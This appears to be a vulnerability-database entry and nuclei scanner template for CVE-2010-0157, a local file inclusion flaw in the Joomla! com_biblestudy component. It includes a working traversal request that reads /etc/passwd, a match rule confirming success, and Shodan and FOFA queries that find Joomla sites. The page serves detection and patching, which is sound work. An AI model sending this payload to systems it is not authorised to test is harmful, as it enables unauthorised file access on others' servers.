Joomla! Component com_biblestudy - Local File Inclusion

highseverity

7.5CVSS score

13%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0157 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0157

info:
  name: Joomla! Component com_biblestudy - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10943
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0157
    - http://packetstormsecurity.org/1001-exploits/joomlabiblestudy-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0157
    cwe-id: CWE-22
    epss-score: 0.12969
    epss-percentile: 0.96358
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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